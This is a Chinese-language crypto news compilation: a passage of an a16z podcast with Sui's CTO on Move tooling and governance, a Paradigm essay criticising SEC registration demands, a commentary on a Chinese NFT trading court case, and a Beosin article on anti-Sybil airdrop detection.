我们要求程序员进行的许多权限检查最终都在We Run Time中发生，这些检查是不可能忘记的。我认为这非常重要，因为最难保护的是程序员没有告诉你的规范。这些规范很容易被忘记，使用静态分析或其他方法很难捕捉到它们，因为你总是需要一些人来确定哪些规范很重要。 主持人 Sonal Chokshi： 顺便说一句，在远期或近期的长期规划方面，当人们以这种方式更多地合作时，企业规模会发生什么，我认为这将非常有趣，因为它显然是分布式的，不仅仅是一个公司，有时人们会合作。但我的意思是，当你考虑现在的老旧方式，你有像开发人员和所有这些最佳实践和所有这些方法。然后你有这些非常不同的思维方式来做事情，我们还没有完全在这个世界中将所有这些正式化，这还为时过早，但我非常好奇这种事情会是什么样子。 a16z Noah：现在EVM的工具很好用，那么Move的工具怎么样呢？还需要进行哪些重大改变吗？ Sui CTO Sam Blackshear ：我认为我们的工具还处于很早期的阶段。我们正在开发一个包管理器，可以跨链使用，像Create.io或npm一样。Move的模型系统非常适合这种事情，我们正在努力实现这个目标。这个包管理器可以让开发者轻松分享他们的代码，这在Solidity中很难做到，因为在Solidity中，只能通过复制粘贴的方式来分享代码。 我们还在最初的时候就专注于正确性工具的研发，我们有很多这样的工具，但我认为我们还有很多事情要做，使它们更易用。我们有一个单元测试框架，我们可以直接在Move中编写测试。我们也开发了Move prover，用来辅助我们做形式化验证。 Move Prover 的重要性 主持人 Sonal Chokshi：能否简单谈一下形式化验证以及为什么Move Prover很重要？ Sui CTO Sam Blackshear ： 形式化验证很具有挑战性，通常需要专家或者博士来使用。我们正在努力将它推广到每一个日常开发者，而不需要专业知识。 目前还不清楚这个目标能否实现，但我们看到了一些很有前途的项目。比如，最近有人将一个智能合约的所有规范提交到了一张文件中，之后只需要为新函数写规范，这就使得形式化验证变得非常容易。不过，形式化验证还有很多需要改进的地方，包括提高易用性和功能强大程度。 还有像fuzzer这样的工具，虽然不如形式化验证好用，但对于一些重要的正确性检查非常有帮助，特别是当你需要写一些非常复杂的代码时。我们也有一些学术界的库在研发这些工具。除此之外，我们也正在研究如何让编写程序变得更容易，比如支持更多集成开发环境、程序合成和人工智能等。 主持人 Sonal Chokshi：如何使用Move Prover？如果我想试试它怎么办？ Sui CTO Sam Blackshear ： 首先你需要拿到你已经测试过的程序。验证不是测试的补充。然后你可以编写一些很难测试或很难检查的内容。这可能是一些简单的函数前后条件。比如说，如果我的函数输入满足这个条件，那么输出应该满足那个条件。你还可以编写数据不变量，比如你有一个计数器，你想证明它总是在增加，你可以编写一个规范，将其附加到计数器结构中，以检查它是否成立。 然后它会查看所有的函数，并确保这些规范都成立。还有更高级的用法，比如全局存储和变量。你可能想说，这个对象始终只有一个，或者这个对象有两个，然后有三个。以及这个对象的字段和那个对象的字段之间的关系。这些规范很大程度上取决于应用程序。 Move语言可以避免很多基本的错误，但对于你作为程序员来说，总会有一些特定于你的应用程序的正确性条件。规范语言使编写这些条件变得容易，可以在编写代码之后或某些情况下甚至在编写代码之前编写它们，并确保它们在所有可能的程序执行和所有可能的函数调用中都成立。 因此，现在，规范语言与编译器集成，因此您可以在任何这些模式下提取它并尝试使用它。它还与构建系统集成。您只需要执行move build -prove，它就会检查这些规范。 a16z Noah：酷！Prover能理解Sui 对象模型和Sui交易系统吗？比如，我能否证明关于跨交易的一些可能修改全局状态的内容？ Sui CTO Sam Blackshear ：它还没有完全理解，但它并不需要完全理解。例如，如果你想证明计数器始终在增加，这是一个Sui对象，但是它不需要完全理解Sui就可以证明。即使在核心Move的prover中，它也真正考虑对象和全局存储的层面，而不是像交易这样的概念。因此，今天它确实只能考虑函数和事务的层面，这也能够正常工作。但我想我们将来可能会在Sui方面做更多的事情，特别是关于父子关系和异构对象映射。 编程语言的治理 主持人 Sonal Chokshi： 我们可以谈谈编程语言的治理吗？编程语言的演进有着悠久的历史，但是在区块链和加密货币的背景下，治理话题显然更加重要，因为有许多其他方面需要考虑，如分权、开源、分布式社区、令牌和经济学资产等，这有时作为激励计划的一部分参与其中。 a16z Eddy Lazzarin： 特别是因为它们是开源的，能在许多不同的上下文中使用，它们被视为公共物品，但它们不同，需要设计和细节的关注。编程语言应该如何发展？今天有很多编程语言似乎都有不同的治理方式，如我所想到的前两个是C++委员会和WG21委员会，还有一些非常复杂的名称。 然后像Python，Guido是它的生命之恩人，拥有 benevolent dictator for life。那么，您认为什么是现代化的编程语言治理方式？特别是在加密货币领域，这是一种独特的情况，因为这些编程语言可能与层一相连，这是一种依赖于编程语言的不同类型的东西，它是一种公共物品，但是它有利益相关者，它有大量的资本附加值，有许多价值正在传递。也许有一些编程语言的治理模式更适合区块链。我对思考编程语言应该如何治理或更好地说，移动如何发展，考虑到所有巨大的利益相关者和设计语言保护其安全性质的重要性非常感兴趣。 Sui CTO Sam Blackshear ： 嗯，我不会认为我的见解适用于其他编程语言。但对于Move来说，我有一个非常具体的看法，就是这种跨平台的愿望。Move 被设计为一种跨平台语言，其中一些链EDM 的基本功能仍应适用，并且覆盖了智能合约开发能手和Web2新人，极具灵活性。 除了对程序员和平台设计者的好处外，治理是另一个原因，几乎所有区块链语言中的有争议的决定，例如：我们应该增加这个限制吗？或者我们应该支持这种签名方案吗？或者我们是否应该拥有这个库？我们试图将其设置在适配器层，即构建在语言形式之上的平台，而核心语言非常简洁。简洁性是我们语言的关键设计原则之一，非常不依赖于区块链。 因此，如果我们要与社区的利益相关者进行辩论，它不会像“我们应该增加gas限制”这样的问题。而是像“我们应该拥有电子邮件”这样的问题，这是一个更纯粹的设计问题，可以受到来自一个或多个Move平台的问题或用例的影响，但不太可能朝着对某个利益相关者有利而对其他人不利的方向发展。到目前为止，这种模式一直运作得很好，但我们还需要看看未来会发生什么。 基本上，Move语言的治理方式是，最初，Move是在Facebook开发的，没有真正的治理。它只是我们使用它的方式，虽然我们有这些设计原则。 现在，团队分散了一些，我们有很多来自不同机构的成员。有些人在我们这里，有些人在其它地方。有一些来自学术界、安全社区的第三方贡献者，还有一些Move链的星际币等其他机构。我们每个星期四都会开会。 我们会讨论Move的设计问题，我们非常谨慎地扩展语言。简洁性是主要的东西，但我们会积极地扩展它。 比如，添加这个东西会使在Move之上的这些层次的实验更容易进行。一旦我们看到这些实验的结果，或者每个人似乎都在做同样的事情，那么我们就会将其移到核心语言中。因此，我们对治理的答案是：尽可能避免治理，通过让有争议的事情发生在Move之上的层次，以及将简洁性作为核心原则之一，使我们在仅当每个程序员都需要某个东西时，才添加新的内容。 主持人 Sonal Chokshi：你们作为程序员，对于另一面的事情，比如Noah，你们真的在乎吗？比如说你选择使用什么工具，怎样参与？你们在意社区或者编程语言的治理吗？还是只在乎你们获取所需的工具？ a16z Noah：我认为在一定程度上是有关系的，比如你想使用一个被很多人使用的语言，这样你就可以得到更多的贡献者，对吧？你也想要一个不会被抛弃的语言，对吧？那些应该是主要的考虑因素。 但是，我并不在意Python是由独裁统治还是委员会治理，只要能够达成目标就好。尽管我认为很多人不在意，但是有很多争论表明由委员会治理已经破坏了很多编程语言，我想。 主持人 Sonal Chokshi：是啊，我一直觉得很有趣。 Sui CTO Sam Blackshear ：我认为这很重要。我有一些技术上的设想，比如跨平台的程序和资源，以及这些东西应该有的大致想法。但是这是一个社区项目。很多贡献者为设计的很多方面做出了贡献，我并不是Move或任何其他东西的独裁者。但是，我认为我的角色是策展人，确保每个人都在同一页面，并确保在想法涌现时，我们根据这些原则进行评估，这些想法可以来自任何人。 但是最重要的是我们有共同的愿景。每种语言都略有不同。我认为它们固有地反映了它们的用途、创建者和社区的个性等等因素。所以肯定不会有一种适用于所有的规则。 主持人 Sonal Chokshi：对，完全没问题，这很有道理。 Sam怎么进入Move的 所以在我们结束前的最后几个问题里，我突然意识到我们从来没有听过Sam怎么来到Move的。我主要感兴趣的不仅仅是因为我想听你的故事，我相信它很棒，但我更感兴趣的是你是如何通过思考去解决问题的。所以你能快速分享一下这个过程吗？当然可以。 Sui CTO Sam Blackshear ：我开始作为一名编程语言研究员来进行职业生涯。我从事静态分析和程序验证的工作，这意味着我花了很多时间看真实的程序，寻找漏洞，并尝试弄清楚程序员经常犯的错误类型是什么，以及导致这些错误的原因是什么。是语言的基本问题使得某些类型的错误过于容易？是他们使用的框架的问题？还是仅仅是有关人类心理学，使得某些类型的错误比其他错误更容易被发现？ 基本上，在我的博士期间，我花了很多时间研究真实的程序，查找漏洞，然后构建这些工具，试图在不运行代码的情况下查看代码并尝试在之前捕捉这些错误。而这种事情在一般情况下是无法解决的。你在进行静态分析时，总是在与停机问题作斗争，但在实践中，你可以无限地接近完美的结果，而不是在理论中得出平均结果。所以我花了很多时间做这件事，看了所有经典类型的漏洞，如空引用、缓冲区溢出、安全问题等等。我真的很享受这个工作，但是很难找到这些例子和很多人真正关心的数据集。 但是在我博士的最后阶段，我在Facebook实习。这是在2013年到2014年左右，他们正在从Web世界向移动世界过渡，并且发现当我将漏洞发布到移动应用中时，它会在那里存在两周，而在Web中，我可以立即修复它。当我加入后，Android上的分裂问题是造成问题最严重的问题，因为这会导致无法修复的漏洞。他们在静态分析技术上进行了大量投资。他们从我的领域收购了一个研究小组，我有机会与他们一起工作，并继续我真正喜欢的工作。但是，与其 结束于单个程序的漏洞修复，我开始思考如何设计一种语言来使这种漏洞更难以产生。我对语言设计和程序安全方面的兴趣越来越大，开始产生一些关于如何构建更安全的语言的想法。后来，我在2018年加入了Libra项目，这是一个构建基于区块链的全球支付网络的项目，我被征用为编程语言方面的专家。这个项目需要一个新的编程语言，因此我开始着手构建Move语言，并使用我之前的经验来解决一些语言设计上的挑战，例如如何确保Move智能合约的安全性和正确性。 主持人 Sonal Chokshi：所以Libra 也被重命名为diem，这是今天很多人可能知道的。还有一个快速的提醒，你的博士论文的实际主题是什么？ Sui CTO Sam Blackshear ：我的博士论文主要研究目标导向的静态分析。通常，在进行静态分析时，你会查看整个程序并构建有关程序的事实数据库，然后通过获取该事实数据库来查找漏洞。这种方法很有效，但对于非常大的程序而言，不太容易扩展，因为你必须查看整个程序并做所有事情。而你可能有一个非常具体的问题，只关注程序中的一个特定部分。例如，如果你正在运行分析器，并且在CI中报告漏洞，你真的想要报告在该pull request中发生的漏洞。对程序中的其余部分不是很关心。 在我的博士论文中，我研究了目标导向的静态分析。这意味着我希望静态分析的效率可以随着我关心的特定属性的复杂性而扩展，而不是随着输入程序的大小而扩展。如果这个属性非常简单，只需要进行简单的推理就可以确定其安全性或漏洞性，我希望它非常快。或者如果这需要查看整个程序进行推理，则相应地会更慢。这是一件有用的事情，因为静态分析的一个主要问题就是非常慢，特别是当你在运行像巨大的几百万行程序时。我在这个静态分析子领域中研究了一个新的理论，称为抽象解释，旨在使抽象解释更具目标导向性和属性导向性，从而提高效率和精度。 主持人 Sonal Chokshi：非常有趣。你提到你在背景中也对心理学很感兴趣，当你设计你的博士研究以及现在的工作时，你可以快速介绍一下程序员的心理学吗？因为你没有满足我的好奇心。 Sui CTO Sam Blackshear ：当我在2018年来到Libra时，我们基本上需要在Libra中建立智能合约，你需要想出这意味着什么。你不能在真空中进行推理，就像语言基本上是问题解决工具一样。所以我看了很多Solidity和智能合约代码。我想知道程序员用这些东西做什么？语言在哪里帮助了他们？在哪里妨碍了他们？这个问题的主要结论是基本上所有这些程序都在试图做同一件事。 他们试图谈论资产，试图转移它们，试图定义它们。但是代码编写的方式总是如此间接。这就像一种粗暴的设计练习，你试图谈论这件事，但是没有词汇来表达它。这就是心理学的元素，我可以阅读程序并思考，这个人在想什么？在他们的头脑中，相对于他们实际编写的代码？这个翻译层中的障碍是什么？语言如何通过提供正确的抽象来帮助他们？这些问题没有客观的答案。这就像我也是程序员，我会怎样编写这段代码？或者我会发现什么直观而什么困惑？ 所以基本上，决定创建Move而不是在EVM上构建或使用现有语言是因为，正如我们之前所说，这种智能合约需求与其他任何东西都非常不同，使用现有语言没有所需的抽象或特征是没有意义的。 如果你在EVM中使用Solidity之类的东西，这是这个领域的第一次尝试。因此，它没有合理地预测出人们将要尝试做什么。所以我认为我们有所有这些第二移动者的优势。我们了解人们想做什么，什么效果好，什么效果不好。我们应该利用这一点来打造一个新的语言。说服人们需要构建一个新的编程语言是一个有趣的旅程，我们可以在另一个时间讨论，但是有人告诉你你应该说不。很多人对Facebook是否有这种尝试的愿景持有合理的怀疑态度。 主持人 Sonal Chokshi：有趣的是，感觉这几乎是你能够回应的唯一地方，而且甚至更好的是，你们现在可以将其带离Facebook并继续前进。实际上，对于它的诞生和发展来说，这几乎是理想的条件。事实上，这对于它们两者都是一个很好的机会。 Sui CTO Sam Blackshear ：完全是意外之喜。 主持人 Sonal Chokshi：那就很好了解了。 给智能合约编程语言开发者的建议 最后一个小问题，如果你们有一个建议想要给那些想要了解智能合约编程语言或已经在这个领域的人，如果你们可以用两秒钟的时间给一个建议，你们会说什么？ Sui CTO Sam Blackshear ：阅读大量代码，了解代码的目的以及底层代码实际上是如何做到这一点，它做得好和不好在哪里。 主持人 Sonal Chokshi：为什么？简单地说？ Sui CTO Sam Blackshear ：我认为这是了解语言的最佳方式，它是一个很抽象的东西。 但是，如果你从某个东西开始，只是试图弄清楚如何做到这一点，我认为这是一条更具体的路线，也很容易从中进行概括。好的。 主持人 Sonal Chokshi：艾迪，你有什么建议吗？ a16z Eddy Lazzarin：这是个好问题。我完全同意Sam说的。我还想补充一点，因为我们还处在早期阶段，人们都喜欢分享一些有趣的东西，比如在区块链上编程有多么疯狂。有很多人非常乐意分享，乐意深入探讨。每次我在任何一个大型的社交群或者任何一个论坛上有问题的时候，人们总是乐于和我分享。所以我会建议大家找到那些你真正喜欢和他人分享你的代码，一起构建开源社区的人们。 a16z Noah：我的建议是，如果你有任何工作流程中经常使用的工具，无论是编译器、测试工具还是其他任何可以让你的工作变得更轻松的工具，你都应该学习它的工作原理。并且，每当你发现一个bug，就去修复它。成为开源软件的好管理员。 主持人 Sonal Chokshi：你们说得非常好。再次感谢Sam、Noah和Eddie参加本期Web3@ACM的节目。非常感谢你们。 不管怎样，祝你们有美好的一天，再见。感谢您收听 Web3 与 A16Z，您可以在我们的网站 a16z.com/cryptopod 中找到展示音频的音频剪辑、文字稿和更多资源。  ( 13 min )
    Paradigm撰文：由于SEC不作为，注册并不可行
    作者：Paradigm | Rodrigo Seira, Justin Slaughter, Katie Biber 编译：Felix | PANews 在创业起步阶段，需要准备和提交大量的文件和表格，其中大多数都相对简单和直接。例如，为了成立一家新公司，创始人必须向国务卿办公室提交注册证书。他们还需要向IRS提交SS-4表格，以获得联邦税号 (EIN)。虽然许多创始人在这个过程中与律师合作，但他们自己也可以轻松完成。因此，美国每天都有成千上万的小企业成立。 美国证券交易委员会（下称SEC）主席Gary Gensler希望美国公众相信，加密创始人在SEC注册代币或加密产品也一样简单容易。 但事实并非如此。 在最近的一次全国电视采访中，Gensler就加密货币交易所Kraken未注册其质押产品一事对该公司提出了警告，此事最终Kraken与SEC达成和解，根据该协议，Kraken必须支付赔偿金并关闭该项目。Gensler表示：“Kraken知道如何注册。其他人也知道如何注册，这只是我们网站上的一个表单。”但Gensler没有提供更多细节。Gensler后来补充道“他们知道怎么做。他们只是选择不这么做。” Gensler在几天后的一篇评论文章中详细阐述了他的看法，他感叹道:“坦率地说，加密中介机构并没有在SEC排队注册，以及遵守国会颁布的法律。也许只是因为他们的商业模式依赖于不合规。” 在多年未能向Coinbase提供指导或明确的监管规定之后，昨天，SEC向Coinbase发出了一份韦尔斯通知。据Coinbase称，SEC威胁该公司在未注册为证券交易所和提供未注册的质押产品（SEC不愿透露如何注册）的情况下，上线了SEC认为的证券代币（SEC不愿透露是哪些代币）。 Gensler主席在公开评论和行动两方面都是自私的：他们试图错误地暗示大多数加密产品和代币都是证券，因此应该在SEC注册，从而证明SEC对加密货币违宪扩张的管辖权是合理的。同时，还将加密行业描绘成由任性的违法者组成，他们不遵守如此简单的规则，就像主动越界的孩子一样，应该受到SEC的惩罚。 然而，即使先不考虑证券法是否适用的问题，代表加密项目“合规”的“明确”路径的“表格”，并不能在Legal Zoom上完成，或使用免费的在线资源自己动手完成。例如，大多数成熟的私营公司想要上市或进行“IPO”时使用的S-1表格，通常需要一大批律师和数百万美元才能完成。这就是：试着自己理解它。 公平地说，Gensler从未明确表示，提交登记表会很容易或很便宜。但Gensler提出的加密货币公司可以通过“在线填写表格”进行注册的建议失败了，原因更直接：除非SEC调整注册框架以适应数字资产的特殊性，否则不可能“进来注册”。目前的注册表格依赖于一系列的信息披露，这些披露不足以反映加密货币的特殊性，还会使投资者容易受到伤害。注册还需要对代币、报告公司和生态系统中的其他参与者制定大量额外的法规，这使得大多数加密协议无法正常运行。 事实上，美国几乎没有注册代币发行的原因是，SEC未能提供任何可操作的指导，发布单一规则，或建设性地与加密行业的任何人接触，为证券型代币提供可行的监管框架。 Coinbase的例子很能说明问题。Coinbase本身是SEC在册的公司，并于2022年夏天向SEC提交了一份规则制定请愿书，要求明确数字资产市场运行所需的许多尚未解决的问题，包括注册为交易所和质押。这一请求没有得到回应。相反，SEC昨日继续其执法监管模式，向Coinbase发送了一份韦尔斯通知，内容涉及Coinbase通过公开制定规则积极寻求澄清的活动。 所谓的加密项目今天可以“直接进入并在SEC注册”的说法是捏造的——如果SEC真的想在加密资产领域提供适当的投资者保护，他们需要做更多的工作。 我们的希望是，就当前制度下，在SEC注册的加密项目的可行性达成共识，激起关于该行业应该如何监管的真实、诚实的讨论，国会山是可以参与的场所。只有这样，才能为加密行业、加密怀疑论者、政策制定者、利益集团和美国公众提供一条解决/监管加密的道路。 第二部分从SEC注册过程的一般背景开始，然后回顾了试图注册的加密项目的历史，这些项目要么是作为SEC和解的一部分，要么是自愿注册的。了解这些项目的挣扎和由此导致的失败，说明“注册之路”目前并不可行。 第三部分将分析当前的SEC披露制度，重点是表格S-1。我们认为，目前的披露框架从根本上与大多数代币不一致，因为它假设在去中心化系统中不存在的发行者-安全关系。我们将讨论表格所要求的披露方面的各种差距，以及需要明确的地方，以使注册成为可行的途径，并充分告知投资者。 最后，第四部分将强调SEC目前的立场，即声称大多数加密项目需要注册，但同时注册又是不可能的完成的事情，这相当于超越SEC权限的加密监管禁令。  ( 4 min )
    从最新案例出发，探讨NFT交易在国内的合法性
    时至今日，数字藏品行业在国内已经略具规模，无论是新兴企业亦或是老牌大厂都对此有所布局。但一直以来，数字藏品行业相关的判决都少之又少，公开判决更是屈指可数，以至于无论是从法律规范亦或是司法实践的角度出发都难以起到较好的示范作用。 但应当肯定的是，即使是这极少的公开判决也能对市场起到一定引导作用，并且能够为行业内的企业明确一定的监管方向。在此，飒姐团队便以今年1月份的一份判决（案号：（2022）粤0606民初35095号）为例，为大家简要讲讲目前的监管动向。 一、案情简介 被告佛山某公司于2020年创立，该司运营“某数藏平台”网站，并已于2022年5月6日取得ICP备案，该网站主要经营数字藏品的出售、收藏及二手交易。 原告辛某在“某数藏平台”上进行注册，其称通过绑定手机号码并获取手机验证码，用验证码登录，登录之后若购买数字藏品则需要进行身份证实名验证、绑定银行卡，每次遇到自己合适的数字藏品就充值到被告的平台充值、进行购买。在2022年6月20日起至8月12日内原告共花费17677.78元用于购买平台中的数字藏品。 在诉讼过程中，原告辛某确认可以在该平台上进行买卖交易，交易金额不固定，范围自几十到几百元，且其看到合适的藏品就自愿购买。辛某并没有统计过从平台购买和从其他用户处购买的数字藏品的数量，同时其所购买的数字藏品中的部分已出售，具体数量亦没有进行统计，诉争的退货金额17677.67元中包含出售的一部分。此外，诉讼中原告承认其所购买的是数字藏品，具有一定收藏性质，不是用于生活消费的。 原告认为，其受被告的广告诱导才购买数字藏品，因此，被告存在非法及欺诈行为，故而依据消费者权益保护法提起本案诉讼，诉请退货退款。 二、裁判理由 对于原告的诉讼请求，法院从三方面进行了论述： （一）买卖行为是否合法有效 一审法院认为，数字藏品本身系一种新生事物，虽然不同于实体商品，但具有交换价值，可以作为商品进行交换，进而其肯定：“仅就目前来说，数字藏品的发行、交易并未有法律明令禁止，原告在被告运营的数字藏品平台进行数字藏品的交易，属于经营性的商业行为，该行为不违反法律法规的禁止性规定，故原告作为商事交易的一方主体应自行承担有关交易的风险。”亦即，法院肯定了该买卖行为的合法性和有效性。 （二）被告是否具有经营数藏产品的资质或牌照 一审法院认为，对于数字藏品这样一种特殊商品而言，是否需要办理经营的特别的许可或者牌照，目前也仍未有明确的法律规定，且即便被告某公司的资质存在缺陷，在数字藏品本身并非如同比特币等国家明令禁止流通的商品的前提下，双方之间的买卖合同关系并不会被影响，仍然是有效合同。 （三）被告是否有诱导、欺诈行为 一审法院认为，一方面，原告自认系看中藏品后自愿购买，另一方面，原告本人也确认数字藏品具有收藏价值而非仅仅是生活消费品，因此，原告诉求缺乏相关的事实依据，陈述前后矛盾，不予支持。 三、案例评析 对于数字藏品行业的企业及有关从业人员，本案价值有三。 其一，法院肯定了数字藏品市场二级交易的合法性及有效性。一直以来，在数字藏品行业，发行数字藏品之行为是否违法一般未有争议，但是是否允许在二级市场对数字藏品进行交易则令许多企业踌躇。在本案中，原告辛某购买的数字藏品既有一级发行的数字藏品，又有二级市场中由其他用户出售的数字藏品，对此，法院均对相关交易行为的合法性及有效性进行了肯定评价，而并未根据数字藏品究竟系一级市场发行而来或是二级市场购买而来进行区分。可见，就目前的法律体系而言，数字藏品的二级交易行为的合法性和有效性是值得肯定的。同时，判决在此基础上，进一步肯定了数字藏品作为一类特殊的商品的价值所在，该价值决定了其可以作为买卖合同的标的在市场中流转，而不应与比特币等被命令禁止的物品一样否定相关交易的合法性。 其二，法院肯定了目前并未有特殊的行政许可对数字藏品予以规制的事实，且指出，相关资质之缺陷并不否定交易行为的有效性。之所以如此，并非法院鼓励数字藏品行业内的企业都无照经营，而是因为买卖合同的有效性不应因企业本身资质的欠缺而受到影响。对于买卖合同这一民事法律行为而言，根据《民法典》的相关规定，只要合同双方意思表示真实，且行为本身没有违反法律法规的强制性规定，没有违反公序良俗，那么该买卖合同即属有效。而对于数字藏品而言，其作为一种特殊的商品，在现行法律下，交易数字藏品的行为当然没有违反法律法规的强制性规定，亦没有违反公序良俗，而本案中双方意思表示真实，因此该行为自然有效。至于资质欠缺所带来的，应当是行政法上的相关行政责任。民事法律关系与行政法律关系在此处应当作出合理区分。 其三，法院肯定了数字藏品不仅具有交换价值，而且具有收藏价值。收藏价值的意义在于，即便该数字藏品的售卖价格高于其“实际价值”，但只要该价格偏差没有过于巨大，那么可以合理认为买家系出于一种收藏之目的进行买卖，其愿意为该藏品给付更高额的价款，而非因为受到数字藏品平台之宣传而被“诱导”或被“欺骗”从而进行购买。当然，这并不意味着，购买者并不能以《消费者权益保护法》或者其他法律的相关规定，以“诱导”或是“欺骗”为由依法维护自己的合法权益，而是明确购买者必须提供合理的、可供采信的事实和理由来证明自己确系被“诱导”或是被“欺骗”方才购买。在前述情形下，购买者当然能够依法维权，法院也应当支持购买者的诉求。 四、写在最后 如今的数藏行业在国内已经站稳脚步，无论是立法还是司法都承认了其合法性，但如何能够再进一步仍然有待广大从业人员的努力。我们相信百花齐放就在不远的未来，但脚踏实地合法经营方才是致胜良方。  ( 4 min )
    Arbitrum空投事件反思：反女巫机制成标配，我们如何赢下这场“猫鼠游戏”？
    原文：《深度 | Arbitrum空投的热潮之下，如何看反女巫机制？》 作者：Beosin 近期，以太坊Layer 2 扩展协议Arbitrum 空投成为了加密货币社区热议的当红话题。 链上数据显示，Arbitrum在3月22日的交易数超121万笔，创历史新高，同时超过以太坊主网的108万笔交易和Optimism的26万笔。其火热程度可见一斑。 Arbitrum是一种具有高性能、低成本和去中心化特性的Layer 2扩展协议。在3 月16 日晚空投之后，大批量“撸毛”的用户纷纷被一系列反女巫规则限制，今天，我们就来研究什么是反女巫规则。 说到女巫攻击，应该有不少小伙伴比较熟悉。在区块链中，女巫攻击（Sybil Attack）是指攻击者通过伪造多个身份或节点来控制网络的攻击方式。 而空投女巫攻击（Airdrop Sybil Attack）则是一种针对加密货币空投活动的攻击方式，攻击者利用伪造的身份和虚假地址获取更多的空投代币。 ‍‍要聊反女巫规则，我们先从本次空投规则聊起。 在Arbitrum代币空投中，制定了一些空投策略和分配模型，以量化的方式确保每个钱包或链上实体地址是否满足空投资格标准： 1、如果空投接收者的钱包交易全部发生在48 小时内，则减去1分。 2、如果空投接收者的钱包余额少于0.005 ETH，并且钱包没有与超过一个智能合约交互，则减去一分。 3、如果空投接收者的钱包地址在Hop协议赏金计划期间被识别为女巫地址，则该接收者将被取消资格。 4、还有一个项目方未确认的标准，即用户在http://arbitrum.foundation上用相同IP连接多个钱包查看，将直接被取消上榜资格。 同时，Arbitrum使用链上数据来识别同一用户拥有的相关地址，并使用来自 Nansen、Hop和 OffChain Labs的数据删除实体地址，例如网桥、交易所和智能合约。还有一些地址通过人工检查去除，比如捐赠地址。 使用以下数据类型进行数据清洗： 1.原始资格名单地址（来自Nansen） 2.排除的实体地址（来自Nansen） 3.CEX充值地址(来自Nansen) 4.CEX充值地址（溯源自CEX 的热钱包） 5.在Arbitrum链上特有的交易路线(from,to) 6.在Ethereum链上特有的交易路线(from,to) 7.OffChain Labs的内部地址列表 8.Hop空投中的黑名单 9.Hop空投中去除女巫攻击后的地址 10.Nansen地址标签 11.其他手动标记的活跃地址 数据清洗完成后，将会生成两类图表： 第一类图表将以每个带有msg.value 的交易为一条边(from_address, to_address)。 第二类图表将以每个资助者/清扫交易为一条边(from_address, to_address)，其中资助者交易是指账户首笔以太币入账，清扫交易是从账户中最后一笔以太币转账。 通过将上述图划分为强连通子图和弱连通子图来生成聚类。使用Louvain社区检测算法分解大型子图，提供更精细的结果并更准确地消除女巫地址。 根据已知模式来识别女巫集群，例如： 由此生成了女巫集群，如下所示： 包含110 个符合女巫攻击条件地址集群 319 https://github.com/ArbitrumFoundation/sybil-detection 包含56 个符合女巫攻击条件的地址的集群1544 https://github.com/ArbitrumFoundation/sybil-detection） 研究人员如何识别女巫地址？ Offchain Labs研究人员通过在来自Nansen Query的from_address / to_address 交易数据使用聚类算法，并在Arbitrum 和Ethereum 上整合跟踪和代币转移，以此识别可能的女巫钱包，并且对可能误报的数据进行人工“检查”。 下图是疑似女巫的地址示例： 一组约 400 个地址中，有两个地址具有非常相似的活动（将资金发送到同一个中心化交易所存款地址）。 图源nansen 可以看到两个地址在非常接近的时间进行了相似的操作。 当然尽管如此，仍有人抱怨Arbitrum空投策略的缺陷，将女巫攻击的钱包地址视为正常，真实用户的钱包地址反而受到限制。 除了最近的Arbitrum外，去年Hop Protocol空投时也通过反女巫规则识别了大量的女巫攻击者。 2022年在5月6日，跨链桥Hop Protocol 官方公布空投细则之后表示，在最初符合空投条件的 43,058 个地址中，有10,253 个被认定为女巫攻击者。 以下是Hop Protocol 项目方对女巫攻击的一些判定依据： 1、多个地址有统一的资金分发或归集地址，证明是一个女巫攻击者发起，如： 图源：Sybil Attacker Report #275 2、多个地址在转账记录上有明显的关联性，如： 图源：Sybil Attacker Report #367 3、女巫攻击在多处有批量操作痕迹，包括但不限于：短时间内批量转账、gas value相同、交互金额相似等。 4、女巫地址交互历史有往期其他项目的攻击记录。 当然也有经验不足的项目方，在开启空投时未制定反女巫规则，比如Aptos。 去年十月，Aptos的空投事件中，由于项目方没有对节点进行女巫攻击的防范，有不少的“羊毛党科学家”因此获得大量空投。 有人在推特和社区中分享自己申请Aptos测试网的截图，可以看到多个小号在VPS主机上的申请界面。据申领代币的社区用户反馈，Aptos的空投规则是每个测试网申请的账户可以获得300个代币，铸造NFT的用户有150个代币。那么如果你有一百个账号就可以获得3万个代币，一千个账号则是30万个代币。 社区用户晒出的申领空投的截图 而Aptos在币安上线后，价格瞬间拉伸，然后出现巨额砸盘。根据研究人员分析，当时入金到币安的Aptos地址中，女巫攻击地址占40%。 可见空投女巫攻击对空投项目和参与者都会产生一定的影响，比如代币价格受到影响、空投计划的信誉受到损害、社区建设者和参与者都受到影响等。 空投项目方在进行空投时，会使用反女巫机制来防止恶意用户通过多个钱包地址或其他手段获得过多的代币，从而将代币发放给真实用户。 从过往的空投事件中，可以看到女巫攻击的特点： 1.子地址由同一个父地址分发/归集资金 2.完全相同的交互流程、时间和项目 3.相同的GAS value、交易金额和时间 4.地址之间频繁转账，有来有往。 下面是一些空投项目方可能使用的反女巫机制： 快照时间：空投项目方可以在特定的时间点对所有地址进行快照，并将代币空投给那些在该时间点之前已经持有代币的地址。这可以防止恶意用户在快照时间之后创建新的地址来获取代币。 交互路线：取一段时间周期内与本项目交互的地址，根据交互时间，查看这些地址在参与交互本项目之前/之后的交互路径一致性。 资金流动：主要查看资金的流动方向，查看钱包一对多或多对一转账的情况。 交互金额：查看项目交互额度的大小及资金的重复使用率。 交互频次：导出一定时间周期内与项目交互的地址明细，通过Excel透视图表或是项目自研的看板，取异常峰值周期内的数据进行二次研究，可以通过查看这一批地址的活跃程度是否相似。 交互深度：取一定时间周期内，参与本项目交互的地址明细。查看本批次地址过往交互笔数与参与本项目交互后的交互笔数是否足够多。 股权证明：股权证明（PoS）是一些区块链用来验证交易的共识机制。在 PoS 中，用户需要持有一定数量的代币才能参与网络。空投项目方可以要求参与者持有一定数量的代币才有资格获得空投，提高空投门槛。 KYC/AML验证：空投项目方可以要求参与者通过 KYC（了解你的客户）或 AML（反洗钱）验证过程。此过程可以帮助验证参与者的身份，这有助于防止女巫攻击。 比如Beosin KYT虚拟资产反洗钱合规和分析平台，能帮助客户避免与潜在的风险地址（做恶者地址）进行交互，同时做到异常行为识别，更有Path Tracing智能扩展可疑地址，让风险验证变得更简单。扩展阅读：Beosin KYT，一个满足您所有 AML需求的“链上专家” 社交媒体验证：空投项目方可以要求参与者关注、点赞或转发社交媒体帖子以获得空投资格。这有助于确保参与者是真实的人而不是自动脚本。 白名单：白名单是符合空投条件的地址列表。空投项目方可以将空投限制在预先批准的参与者名单中，这有助于防止女巫攻击。 